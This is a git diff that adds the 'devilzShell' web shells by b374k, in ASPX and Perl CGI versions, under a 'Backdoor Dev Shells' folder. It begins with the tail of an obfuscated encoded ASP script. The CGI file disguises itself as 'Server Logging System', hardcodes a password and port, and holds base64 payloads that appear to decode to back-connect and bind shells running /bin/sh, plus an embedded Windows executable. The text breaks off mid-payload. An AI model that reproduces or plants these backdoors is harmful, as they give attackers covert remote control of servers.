ls+'rJ(Ox;Wh:mx[ErP/DzV'JrArNDt=F+!2apJEP7CV!+xEr26n^!YnJr~J@*@!JY9@*@!JYM@*@!JYC4^+@*E,[{@#@&J@!z0K.h@*rPL{@#@&E@!JNr\@*EPL{@#@&rJP'm@#@&E@!9r7P^^lk/'rJMn/!VOJrPr[{JJMn/!VYrE@*J,[|@#@&JE~LP.+k;VDP'~rJP'm@#@&E@!J[b\@*@!z9k\@*@!J[k7@*@!z9k-@*r@#@&As/@#@&i4O:^{DkOVn~{PdtsV|0CV{xCh@#@&d4OsVm4+mNP{Pr@!YbYs+@*J~',tYss{DkY^n~[,J@!zOkOs@*EPL~/4+ss|/Yzs@#@&d4OsVm(W9XP{PrEPL{@#@&r@![r7P/DzV'JrhCDTk )f!2apJE@*r~[|@#@&E@!Nk-@*rP'{@#@&r@!WKDsPl1YbGx{JEgrJ~hYtK['rJwKdOJr@*rP'{@#@&r@!rxa;Y,k[xrJmh[rJ~YH2'ErY6YrJ,Uls+xJrwCdkhJr~\mVExEJrJ,z@*J~'|@#@&JLU4kwI@!bxw;O,YzwxrJd!4skYrJ,Uls+xJr4OUal/kANrJP7CsE'rJ63EE,z@*J,'{@#@&E@!J0W.h@*J~[|@#@&J@!JNb\@*rPLm@#@&J@!Nb\~dDXVxJr0W OR/by)q!2apJE@*r~[,/4n^V{WC0+mxmhP',J@!zNb\@*EPL{@#@&r@!&[b\@*r@#@&AxN,(W@#@&q6PHWO~`wsWm[+9PP4x@#@&7&0c`"n$EnkYcpEDHjYMkUovJ^h9J#,@!@*,JJ*~6D,`"+5EndDRoWMh`rwCdkhJb~@!@*~Jrb*PP4+ @#@&id4O:^{Gx^WC[,'PrGx^Wl9xEJ9W1Eh+UOconYAs+s+UO~Xq[cEmhNEbc0G1Ek`#pJrE@#@&d3Vk+@#@&idtDhV|Wx^GCN,',JE@#@&7Ax[P&W@#@&2U[,q0@#@&4YhV|WbxC^P{PJrPLm@#@&J@!tD:s@*rP[|@#@&r@!tC[@*rPL{@#@&EE,[~tDhV|tnC9P[~ErP'{@#@&r@!&4+mN@*rPLm@#@&J@!4KNz~rP[,4YsV{KUsWmN,[~J@*E,[m@#@&E@!9k-~bN'EEslrxS.mw2DrJ@*rPLm@#@&JEPLP4OsV{(GNHP[,EEPL{@#@&E@!&[b\@*J,'{@#@&E@!J4W[z@*J~[|@#@&J@!JtD:V@*J@#@&I/2W /n ~kxm.XqDkDnctD:^{WkUC^#@#@&C+VGAA==^#~@%>
\ No newline at end of file
diff --git a/Backdoor Dev Shells/devshell.aspx b/Backdoor Dev Shells/devshell.aspx
new file mode 100644
index 0000000..b342cdb
--- /dev/null
+++ b/Backdoor Dev Shells/devshell.aspx
@@ -0,0 +1,1244 @@
+<%
+'#
+'# devilzShell <[aspx]>
+'# ^^^^^^^^^^^^
+'# author: b374k
+'# greets: devilzc0der(s) and all of you who love peace and freedom
+'#
+'#
+'# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+'# Jayalah Indonesiaku
+%>
+
+
+<%@ Page Language="VB" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
+<%@ import Namespace="System.IO"%>
+<%@ import Namespace="System.Diagnostics"%>
+<%@ import Namespace="Microsoft.Win32"%>
+<%@ import Namespace="System.Net.Sockets" %>
+<%@ import Namespace="System.Net" %>
+<%@ import Namespace="System.Runtime.InteropServices"%>
+<%@ import Namespace="System.Text.RegularExpressions"%>
+<%@ Import Namespace="System.Threading"%>
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/Backdoor Dev Shells/devshell.cfm b/Backdoor Dev Shells/devshell.cfm
new file mode 100644
index 0000000..7af4c43
Binary files /dev/null and b/Backdoor Dev Shells/devshell.cfm differ
diff --git a/Backdoor Dev Shells/devshell.cgi b/Backdoor Dev Shells/devshell.cgi
new file mode 100644
index 0000000..a31cd50
--- /dev/null
+++ b/Backdoor Dev Shells/devshell.cgi
@@ -0,0 +1,20 @@
+#!/usr/bin/perl
+##
+## devilzShell <[cgi]>
+## ^^^^^^^^^^^^
+## author: b374k
+## greets: devilzc0der(s) and all of you who love peace and freedom
+##
+##
+## ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+## Jayalah Indonesiaku
+
+
+$shell_name = "devilzShell";
+$shell_fake_name = "Server Logging System";
+$shell_title = " :: ".$shell_name." ::";
+$shell_version = "v1";
+$shell_password = "devilzc0der";
+$shell_fav_port = "12345";
+$shell_color = "#374374";
+$shell_code = "JHhTb2Z0d2FyZSA9ICZ0cmltKCRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9KTsNCiR4U3lzdGVtID0gJnRyaW0oJF5PKTsNCiR4U2VydmVySVAgPSAmdHJpbSgkRU5WeyJTRVJWRVJfQUREUiJ9KTsNCiR4Q2xpZW50SVAgPSAmdHJpbSgkRU5WeydSRU1PVEVfQUREUid9KTsNCg0KJHhIZWFkZXIgPSAkeFNvZnR3YXJlLiI8YnIgLz4iLiR4U3lzdGVtLiI8YnIgLz5TZXJ2ZXIgSVA6IDxzcGFuIGNsYXNzPVwiZ2F1bFwiPlsgPC9zcGFuPiIuJHhTZXJ2ZXJJUC4iPHNwYW4gY2xhc3M9XCJnYXVsXCI+IF08L3NwYW4+Jm5ic3A7Jm5ic3A7Jm5ic3A7WW91ciBJUDogPHNwYW4gY2xhc3M9XCJnYXVsXCI+WyA8L3NwYW4+Ii4keENsaWVudElQLiI8c3BhbiBjbGFzcz1cImdhdWxcIj4gXTwvc3Bhbj4iOw0KDQokaWNvbiA9ICJpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUIva2xFUVZSNDJvMlJTMmdVUVJDR3E3ckhCMHJ3DQo0bWl3RldWbVBTbUlIcGFRU3dRRDRpdkdLSHNJbUlPeUJoSkVUVURqUmFNSUVqVGs0Z05GSXV0QndTY1k4ZUJoOWFCZ3lDR0NpS3U0DQpFNGt6QmswdWltaUkyMVhXd2diTW9yT3BwdW11S3VxcjZyOFJabW5qeGw4aVIwSDJEemZLVDAzSHNWTGhWK092ZTRyYzh4azR1WXR4DQpkQ0hnR1FIYy9TZEF1cXdaQjlqQ0FFN1Jud0xHUjhoSGJpSzUvYVF6Q2NDMEZQLyt1MllHNEtQeDIrcDE0U0tWVGJGSWlQZEk3L2VpDQpvTDk4d2htQXQ4YnYzTzdZODlzSXYyOWt6T3BTdkVOUjQxbFNEMUpoMEJRTGVHZjhqcTNhOW5heWV0WDJLVmhmZXRhOEdtMG51d2dIDQowK0ZJVFN4Z3pQZ3RtM1FoczVxUitrZ2Zxd0lZR2dWdVRtazYwRVBxL3A0dzJCMExrRzUrbDdJNVVkM0JVc29CQmxjMHVFVk9ha1dVDQp2eE1MS05xQThWNGMwclpXeVowbHpiSTJNOXJUcE5mS0QrUmlBVitNWDllaUNzOSt5VjJlY0xrYWNQZ2FVdmNOeGN1dVdIVzlQZ3IyDQp4UUplR3U5VXM3WW5qcE1hRnNFMkZHT2g4ZE4xMmw0OVNqalVHbzRrWXdFNTR4M2VxVzNmWGxKanJhd1NNdkxQTjhicmJ0QjA4aHlwDQpnYVl3YUlnRlRKakUwbDVsM3dmQVZSZElONHFRVDhUL2RodDVidGJxOXBWUi9sSkZFVVdIV2hGOWZuV1V6eGI5eDh1OWh3Y1Y3WmpPDQpEMXJIWFJ4OW1QZ3ZvTnhrcWptVHdLblh5TWxWZ0F0Y3h1Y0N5TXdhVU1uK0FNdkx6QkhOaXZxM0FBQUFBRWxGVGtTdVFtQ0MiOw0KJGJnID0gImlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFBTUFBQUFEQ0FZQUFBQldLTFcvQUFBQUprbEVRVlI0Mm1Oa0FBSXBLYW4vYjk2OFlXQUUNCk1aNDlld2FtR2RuWTJQNkxpSWd3Z0FRQTh4WU5ZaGVvdE5jQUFBQUFTVVZPUks1Q1lJST0iOw0KJHhCYWNrID0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bA0KZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQ0J0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNwaGNtZDJXMTBwRFFwN0RRb2dhVzUwSUdaaw0KT3cwS0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnphVzQ3SUEwS0lHUmhaVzF2YmlneExEQXBPdzBLSUhOcGJpNXphVzVmWm1GdA0KYVd4NUlEMGdRVVpmU1U1RlZEc05DaUJ6YVc0dWMybHVYM0J2Y25RZ1BTQm9kRzl1Y3loaGRHOXBLR0Z5WjNaYk1WMHBLVHNOQ2lCeg0KYVc0dWMybHVYMkZrWkhJdWMxOWhaR1J5SUQwZ2FXNWxkRjloWkdSeUtHRnlaM1piTWwwcE95QU5DaUJpZW1WeWJ5aGhjbWQyV3pKZA0KTEhOMGNteGxiaWhoY21kMld6SmRLU3N4SzNOMGNteGxiaWhoY21kMld6RmRLU2s3SUEwS0lHWmtJRDBnYzI5amEyVjBLRUZHWDBsTw0KUlZRc0lGTlBRMHRmVTFSU1JVRk5MQ0JKVUZCU1QxUlBYMVJEVUNrZ095QU5DaUJwWmlBb0tHTnZibTVsWTNRb1ptUXNJQ2h6ZEhKMQ0KWTNRZ2MyOWphMkZrWkhJZ0tpa2dKbk5wYml3Z2MybDZaVzltS0hOMGNuVmpkQ0J6YjJOcllXUmtjaWtwS1R3d0tTQjdEUW9nSUNCdw0KWlhKeWIzSW9JbHN0WFNCamIyNXVaV04wS0NraUtUc05DaUFnSUdWNGFYUW9NQ2s3RFFvZ2ZRMEtJR1IxY0RJb1ptUXNJREFwT3cwSw0KSUdSMWNESW9abVFzSURFcE93MEtJR1IxY0RJb1ptUXNJRElwT3cwS0lHVjRaV05zS0NJdlltbHVMM05vSWl3aWMyZ2lMQ2hqYUdGeQ0KSUNvcE1DazdJQTBLSUdOc2IzTmxLR1prS1RzZ0RRcDkiOw0KJHhCaW5kID0gIkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM1J5YVc1bkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzUjUNCmNHVnpMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE4NCkNpTnBibU5zZFdSbElEeGxjbkp1Ynk1b1BnMEthVzUwSUcxaGFXNG9ZWEpuWXl4aGNtZDJLUTBLYVc1MElHRnlaMk03RFFwamFHRnkNCklDb3FZWEpuZGpzTkNuc2dJQTBLSUdsdWRDQnpiMk5yWm1Rc0lHNWxkMlprT3cwS0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnkNClpXMXZkR1U3RFFvZ2FXWW9abTl5YXlncElEMDlJREFwSUhzZ0RRb2djbVZ0YjNSbExuTnBibDltWVcxcGJIa2dQU0JCUmw5SlRrVlUNCk93MEtJSEpsYlc5MFpTNXphVzVmY0c5eWRDQTlJR2gwYjI1ektHRjBiMmtvWVhKbmRsc3hYU2twT3cwS0lISmxiVzkwWlM1emFXNWYNCllXUmtjaTV6WDJGa1pISWdQU0JvZEc5dWJDaEpUa0ZFUkZKZlFVNVpLVHNnRFFvZ2MyOWphMlprSUQwZ2MyOWphMlYwS0VGR1gwbE8NClJWUXNVMDlEUzE5VFZGSkZRVTBzTUNrN0RRb2dhV1lvSVhOdlkydG1aQ2tnY0dWeWNtOXlLQ0p6YjJOclpYUWdaWEp5YjNJaUtUc04NCkNpQmlhVzVrS0hOdlkydG1aQ3dnS0hOMGNuVmpkQ0J6YjJOcllXUmtjaUFxS1NaeVpXMXZkR1VzSURCNE1UQXBPdzBLSUd4cGMzUmwNCmJpaHpiMk5yWm1Rc0lEVXBPdzBLSUhkb2FXeGxLREVwRFFvZ0lIc05DaUFnSUc1bGQyWmtQV0ZqWTJWd2RDaHpiMk5yWm1Rc01Dd3cNCktUc05DaUFnSUdSMWNESW9ibVYzWm1Rc01DazdEUW9nSUNCa2RYQXlLRzVsZDJaa0xERXBPdzBLSUNBZ1pIVndNaWh1WlhkbVpDd3kNCktUc2dJQ0FOQ2lBZ0lHVjRaV05zS0NJdlltbHVMM05vSWl3aWMyZ2lMQ2hqYUdGeUlDb3BNQ2s3SUEwS0lDQWdZMnh2YzJVb2JtVjMNClptUXBPdzBLSUNCOURRb2dmUTBLZlEwS2FXNTBJR05vY0dGemN5aGphR0Z5SUNwaVlYTmxMQ0JqYUdGeUlDcGxiblJsY21Wa0tTQjcNCkRRcHBiblFnYVRzTkNtWnZjaWhwUFRBN2FUeHpkSEpzWlc0b1pXNTBaWEpsWkNrN2FTc3JLU0FOQ25zTkNtbG1LR1Z1ZEdWeVpXUmINCmFWMGdQVDBnSjF4dUp5a05DbVZ1ZEdWeVpXUmJhVjBnUFNBblhEQW5PeUFOQ21sbUtHVnVkR1Z5WldSYmFWMGdQVDBnSjF4eUp5a04NCkNtVnVkR1Z5WldSYmFWMGdQU0FuWERBbk93MEtmUTBLYVdZZ0tDRnpkSEpqYlhBb1ltRnpaU3hsYm5SbGNtVmtLU2tOQ25KbGRIVnkNCmJpQXdPdzBLZlE9PSI7DQokd0JpbmQ9IlRWcVFBQU1BQUFBRUFBQUEvLzhBQUxnQUFBQUFBQUFBUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUF5QUFBQUE0ZnVnNEF0QW5OSWJnQlRNMGhWR2hwY3lCd2NtOW5jbUZ0SUdOaGJtNXZkQ0JpWlNCeWRXNGdhVzRnUkU5VElHMXYNClpHVXVEUTBLSkFBQUFBQUFBQUEwR0FrNWNIbG5hbkI1WjJwd2VXZHFtR1pzYW5GNVoycnpaV2xxZW5sbmFuQjVabXBOZVdkcUVtWjANCmFuZDVaMnFZWm0xcWFubG5hbEpwWTJod2VXZHFBQUFBQUFBQUFBQlFSUUFBVEFFREFJa0xsRDhBQUFBQUFBQUFBT0FBRHdFTEFRWUENCkFEQUFBQUFRQUFBQVFBQUFZSElBQUFCUUFBQUFnQUFBQUFCQUFBQVFBQUFBQWdBQUJBQUFBQUFBQUFBRUFBQUFBQUFBQUFDUUFBQUENCkVBQUFBQUFBQUFJQUFBQUFBQkFBQUJBQUFBQUFFQUFBRUFBQUFBQUFBQkFBQUFBQUFBQUFBQUFBQUFDQUFBQUlBUUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRlZRV0RBQUFBQUENCkFFQUFBQUFRQUFBQUFBQUFBQVFBQUFBQUFBQUFBQUFBQUFBQUFJQUFBT0JWVUZneEFBQUFBQUF3QUFBQVVBQUFBQ1FBQUFBRUFBQUENCkFBQUFBQUFBQUFBQUFBQkFBQURnVlZCWU1nQUFBQUFBRUFBQUFJQUFBQUFDQUFBQUtBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQXdBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU15NHdOQUJWVUZnaERRa0NDYk9lWVUwMVZiNUg2MVFBQUZVaUFBQUFZQUFBSmdNQURDZmsNCi8vK0RmQ1FFQlhVSWFnRC9GVEJBUUFEQ0JBQ1F1Q3gwMy83L0VnQUE2QU1BQlN4VFZWWlhhQUFRSTJnd1VFQXVITjF2Mzk2TDBMa0gNCkhnQXp3STFHUFBPcnVBUU12L2FYM2JzUUJJbEVKRUFEUkkwOE05dFFVb2tmOW5hei9VU0pYQ1JRTmd5aGVGWUV2dmRsSi82disvK0QNCitBR0pkQ1FVZmh5TERZUVRVV2tYZzhRRVpqdkRiSGYvN2o0VWRRUWRqWlFrckZOU2FnSSs5SGIvdXQrRndBK0ZRd0k4UFVjRGZYNVQNCkFHb0IrNzc3K3g3b2xQQTc4ellZRDRRZUFwdFRTYTNwdXE0Z2dCUUhKQU1vTENwN3ZtMmI4R2JIQ2h3a2kwd2tGRkZBN1UzM1oreFUNCkpCQm12UjRjVWxCV2RaRHVjcERjelFGcUNoRGtYamZzWnJ5TExVVFRUaEQrVy83dDF0YVZJSXR1R0kxTUpCQ05WRkZHL3ZZZ1c1emcNCmROUHA1Z0lRYUJBbkFCYk9aaHBIUVAySVZOQWJidDFITzlOMHNKTVF1NHZ4V1N6QnUvLy93dWtDWEl2T2crRUQ4Nm9QdjBvS2kxSU0NCmk4RVlNSXZLOTU2L01ocWxpOGlreHRFc2hHOEl3Y2tZelVZZDZWNjdzQmxPL3dEbTRTeGI1d1laMkRVWXRGaEExZDEzbHcxMlBBSm8NCkJPTlN4NFFrak5nQnpuNTRjd3RNbkNTUTQ3UWttQWFjSHR0OFQ2QUF6enlOdkRxRHlmL0c3bmZjd21oUUx2S3U5OUZKaVovR2hBQ2ENCnB1bTZHVndIUldWQlkybWFybWxHZUI5Q2JVZlRtZThHUXdka2lKd01TQTVFOTRzOVd5NW1PSVI2cjFCUjZiWk4xMW9RNndXMlhGTlMNCjFEU0Q2UXBIZFE0QTRkUjNIUCtRYmdGRkM4eGZYbDFiZ2NUajRZNUhOdmtJZyt3UTZEUHRWOG9LbDd2SDZBY1VJQkNKYk0wVS9tYnINCkF4dzhUR2cvQUE4QVZWVk1SbXIvTEZRRStEdjlkSGwvR2xkZWVQZlpFd2dkQUFVN3hYUUYrdFByV2Z2ZHROa1VTRDBrSW5WTVZRQlcNClZaY09jN2RkTXY4QlNXZzROendRczIybGYraUY3WFFqbFFGVlRSUUxidHZPTlF6V0lOYTBWbHR4YzQxTEpSRENhNmxkaVMzdDltYkoNCmZIZ0JPVDFzVWdwK0VTRHZmbmY2YWdpS0JsQlBLUWpyRUlzVllGNHp5WW9Pai9IZi9Zb0VTb1BnQ0pnRFJ1dlFnRDRBZEdhN2lUU0YNCjFuNTd1NEFHUUtNTU9rWThJblVZQmdXeTdYLy9kQXRHaE1CMFFncDE5VWJHQmdBMW1tVWVPOGxteVE1UkQ2Rmswb29XK3EwZFdWQjENCnpoOC95WFFDNjh0WE9HbG9CeENVR0FjQU5qck0zRklBK01mT3pJRHlIMnY2Wll1cmc4Y0JmZzhQdGdkcUNObGU2WDFaV2VzT0xHVEYNClFRci85cktGd0VmcjBoVTNSNFArTFl2dWJHR3QxOW9HS3pVUGRrTXNady83REdvRVZrQUxvVHh3QlAzMjc5OE5qUVNialZ4RzBERHINCno0UDlRc04xQXZmWXliN2IrcExELzBNRU5nU01XY1BNQUIwZm84QlJQUUp4Q0hJVWdVSVZ2LzJ4M3o0dEVJVUJGM1BzSzhpTHhBeUwNCjRZc0lpK0gvallWQUFzTWg3RkdMUlFpTlNBR0IrUUNmc0hSN3RuY012USszdnV0U3QxYi8vKzJ2MXc3QitRaUIwZlpFVmdHQVhuUU8NCmdHWCtBSWhOL0kzTGR1T0lSZjBnNndrTi9VWDgyclh0ai9aWWpVMEtCUk5SVUkwUVVBdmZicmpRblFkbXhCeE9Bc25EVTBVS0kwV3kNClk0SGZETWwwYXYrcVFWS1VJdUhHZS9ka29RQUFVR1NKSlFmZ1dGTmk4U05jZUlsbDZJbDBRS3ZVaVJYNFZOdDNuOTVoeUlIaC84Z04NCjlBM0I0UWdEeWdydzNBKzdQK2dRbyt3SE0vWkZFVnBaYnJzM3VnMHdIQXNHMW9sMS9BZ1ByK3k3OWtrV294aGFCQThPZmFQUVZBbHMNCjIyWjNEREFFQzNjSW1TdlF0NlQzL3pNTkNFUVdINGxGblBaRjBBRjBCcnMwdlMxdzFPc0RXbGdkZFp4V29YQUx2MlhYVUNNRERLQUkNCkNNWkg3R1ZENlExVkNZbE5tT3pPQ1pzMkY3N2R3NHZIZFpnZTErM1lWSFVGV08wZzdBMFRhTHdUb1FtVmJBaHo1WGhTTHlSWkpYaEwNCk9CRUM3QUR1N2pZYnhBaUxDOGdGREhVSkR3VDM0ZHY0M1RxclV3V0wyQjMzWkswRENaemdMakNFMDFzYWZ4aDhlSEtFR0tIY1U5czcNCk5kZ3NiSEEremVSZVZoRjdmNlRPTS95QUluUUVpOGJySFJzWStXU0Rad3hUaUh5RXpnQXR2TUc3QWxpalEyd0NkU1FjSEdWYk1OMUoNCkJhRkV2QkVVQWhEWU1TdVZERGt6cVFpSHQxOExtR3pnbENSZEdCbWhWR09iYlUvMFJZMVRMRUVnK0luVzBIUWJ3RlJBaEJnM3diL3gNCmIxOGY0RlowWTRsZC9JMDhJY2VEd0FNa2RtRVhpL3dOd0l2MDBOeFh6RGhLeTQ2RkZQd01XNlBCeGtZN2tkUXFnNy8veWRyczF1a3ANClNlQldYeHhWUEhPdGMxSVJGTmVnN2VzQ25ZVUxYVU5sYlUzd0pnMkpDRzhzZ1Z2SW9SUmFDTmdIODBCaDBCb2hDUHF1SVYrRGdaUU8NCkFENW5kZzJud3hqUURJNEk2QkM1dFUzSUFWY1BYN2tvVmJNOU9uZDFFUmg2TEdVR2hIQnhvU0VJRE5TTFhBbWQvZDBWcENLSUhTQW8NClBLRVFneUkvKzk4dHVBd0pWbzF4L0R2d2NoT0xCcGVEN2dRN2hueUZ2elVpYysxZThwUVV3NWQ4TjI1b0lCQWNoZHRiQzYxbnhEcDYNCmlZWndYOE1GdFNmYmRSSTdxbk1OVjhZRTYxSEN0bXM0eXA0SVBncmNHRm40TjF2N3hTQndXQWhJQ2hXRCt3WGxEZDBMV1lOZ0NPcFkNCjR3clpnL3VOa3R2TWhQYXVMR0VzdmJiclk2Vk5RZ3VMU0FTRFo0WElIZi9OclRUNEVBVVYvQVBSVmp2S2ZSV05OUEMzM2UxSks5RUUNCnRZZ1NneVlDeGd4S2RmZUwzYllPZG5nRVU3ZU9NOEJweHdXZkFYdjNESU5BNjNBOWtCS0JYVDBCK1JtUWtZUktQWlA1R1pDZmhUYzkNCmpZSWtQWTlPbnA4QmhoRTlrZ3FLYXkyTW5aMklhclhUZEFwcndIMGZXVjdyQ1BwUkVXT2o0MWx3RlBpRHlQOHhiRmtvMXlpNXVGdGQNCncrUkdVUzd1ZmJ0R09XalpWcmdGZE8zcjdSdjhuNERBRER2R2N3UTVFTjJOREVsZUEreHlmTCtORlR2QkVuU1dNd2hhZUJrNHNnQVoNCldySGtSRFB4a1E0bGlrWUJKMDAyR3k3UUlCSEF3RkNuRlZSMDV2aTJsU1ZhNHlFTkJ3bzhJSGE2cnIyVlRRd2dkL28wS0FRUDZmVXUNCkxaVFoyMU1uT1IxYTI5Y1dyQTViV3RBVC95YzZBbi82U3lFU1BEMTBBVWRkR3h4WmpTTDhUbTN3QWV2b3JMMWhaaHFjQTI1SFczdFoNCjV6VUk5WTdzZnd0UENjWUhQVUU0SDNRNVZWYzVpdDIrUlVoWlJZQS9TU0pWTkxaWXRsQjVQQVl1T3pheGIzZjhlS3haYmxrRC9UZDENCnlWMy9oRVBwdDMwV2Rpc2RDNGtlalljMkJsODRxV0ZiMUZHOXJ4aTVWNzR3aWkycFA3YkRxWkFUS2FJWWZQNDRnNjFDaFJoTko4NzQNCnZOb0dyeFYxbjZ5TER5ME4yemFnL05pSTFLZ1l0V0dUcnRhaENDOG4yeldzMVNTR01UVndGRWhhenVWdVpnQ2NvL3lsTDVoU3U3VnQNClRCZ2NGSlNESVhKcWpsaGppMHA5VkxVZ3JkVkxwWVY0ZHplRHgxTVU4Z3Yvd29BNG0wU0tVQUZBZ1BxK0tZVFNkQ1VYM3JqOTB2YUMNCjRWZEhCSFE5QVlYMmNJb1FIVHN5OW9nV1JrQUwxZXZPREFTQXlOanRMUjFHUUJ6clF4NEZmMHZldGdSQVJOcjJneGtZaUI1ZTNwcTcNClJtVWdkQWtKQ0FsMXpIVURTTFkzampXN1NtYi9nR1VZQUU0QSs3NW1scmJnUkNzRkp3TmVlR0JtYlBFWHlMeUxWYmJDYXhmZkFzZlENCjE0VWlYTkg0OXkzd1FFUHI5NUlzOXNNQmx0emFYN2hCT1gxdERZQjRBU0tONHgyTHdpaGgyRXBiTndnTTd1LzJ0OThZR0ErVXdva0YNCjBldUwwMHVGa3c1RGlOcGJvVUxYQmJGTGRmT0EzMFpyNUtjZ1AxVUtpaitzdTlRMmREb1BaM1F1S0JuaXdna1RCZ1lmR3c5QXNHdHoNCkF3TVZBVUNRRGJXcjNkZUdNQThPZzhjRGcvZVVtZ0ZEbytIN29PT0ZEbTVKb1RTSVU3c3RwRUJOTmdmdHdUM0F6QVRWK2ozWEFTMFcNCkllM3JLR1lXVHBadlZQc1g2aHN6c2dOekF1SVBXb0hkYkxNT1F3dy9KOEptT1I1dDBGb3JjK3M3Q1B2NU5uWkxud2J5SzhZdlVFN1INCitJNUEwaDJ3MFFKZFV5czAvOWMxS1ZkTCtqdnJkREl5QzQxcXJvRmJIRlZRdXlRbElXMkQxTDFXREJBblhBbUw5c1RQMWdOV25wakQNCjYxT1ZUS1VTcFpPNWhiRjBQR0JEMHZadiszUUtRRGg3K3dUMks4ZEFhbFhPVW9sV1dLcjdScnAwNVdDazlaeXpEcFJmUERyeHhpQ1YNCncrd3c3SENDUklzUk9tSFRwS2xsTWhzVldVQVk0RFhBc2dCYUlCNkdLZnV0Yk55MGN4cHRCTGJHUmdVS29TTkM3dS9TOVFnRkcrdmkNCmplR1lUaDFOREdZSlFuWEZOZW4zUlFuQ2Jya0xNSTNjdS8xWFlyaEtTbzBjTG53Q2RqazFZejZ3elAxOVVyOEVUSThBT0lQUy9OalANCmY0a0hqWWgrd1hNWWdHQUlHSHVCeTBDTEQzWUlnY0Y4NUJWaWYrYlZTWHk3NndhTENmdnhMMnk4MFg1R2l5cjRaRGFLVFFEMndRRXcNCm9lNnRmZ1FJZFF1bHNCNmxDbzIvME1lTHo4SDRCWTFWeTNRdjFIclBJYVVMaVFndmlEVmU0aHZyUjBXRHc1ditmTHBRS1BFQ24rdzgNCjJQL3kySFZOT3hhM2IxMEFCSUcwYXZaWTY0akRTUFc3SGFFN3dQVllyS2lELzNNWFYyYjlNRkluRENVVlB0QUdnRTRyODlZb2F1b0sNCkEzVUs4TVcreEc0RUJZQkRkQU44bS8rNEFqd3JzemFvMGtURGhYclZVWU4zR1dnY2VHUnJVSFlnVmJTajZGamNPalk4aFM0ZTBVb1ANClBPaFk2SkFEODZCeVNMOVlPTkY3L09kVjJHaTAyUFJZdUNFZUNDNVNYVHFMNWFmdWpqcmJUSXRCQkFhZXVCM3J2b3pSZEErdFZJa0MNCnVBTVF3ejdOanY2aGk5bHEvbWk4SVluL05RREZMcm9nR1NCS2kzQytzT08yUVA3eExqdmFkQ2doZG9zTXM0WGJWZ21wYlVnWGZMT3gNCi9mYnYrM1VTYUFFQkxiTjlFbTcvVkFqcncyU1BCUWp0bk9ORG9vem5aSXUydCtEUzk0RjVCR2gxRFZFTXBUbFJtTGg3QzdFRm00cFINCnV4U0Yyd29FSzNFSXFHRkxBcmRHZkd0RDBHc01XVnQzNzFaRDZHL0QvVEl3V0VNd01QZmpDUHI4aTExWWlpM2xsMWhBNU5tQzVxQjENCmNJa3hSZUVQQ0ludnNyVStJWE43Q01GaHVsdjdsMjEyc1k5MFJWWlZqV3NRcUF0ZEk3b1h1bDVCQzhRemVEd2xVMTREeHJweUVaZ2QNClZnemF0V095RlZ3MmI5NlBTbnpudW0yUFZRdzdDREFhaXpTUDY2SHFIZnRxOW53Y3llc1ZYRU9JVFZiZ1AxMFdsTFZDYjJpOE80c3ANCmkwSDJBMTUxeVJvUUpPR2hlNjBhQ3JpaG1mSXFpbldzM005OFVpRm8vRDZHb1RoV2oyRFV5MW53ZFp6d0gvNWcxNEhzcElSVkNEUEoNCnVDalkzYlRWUGp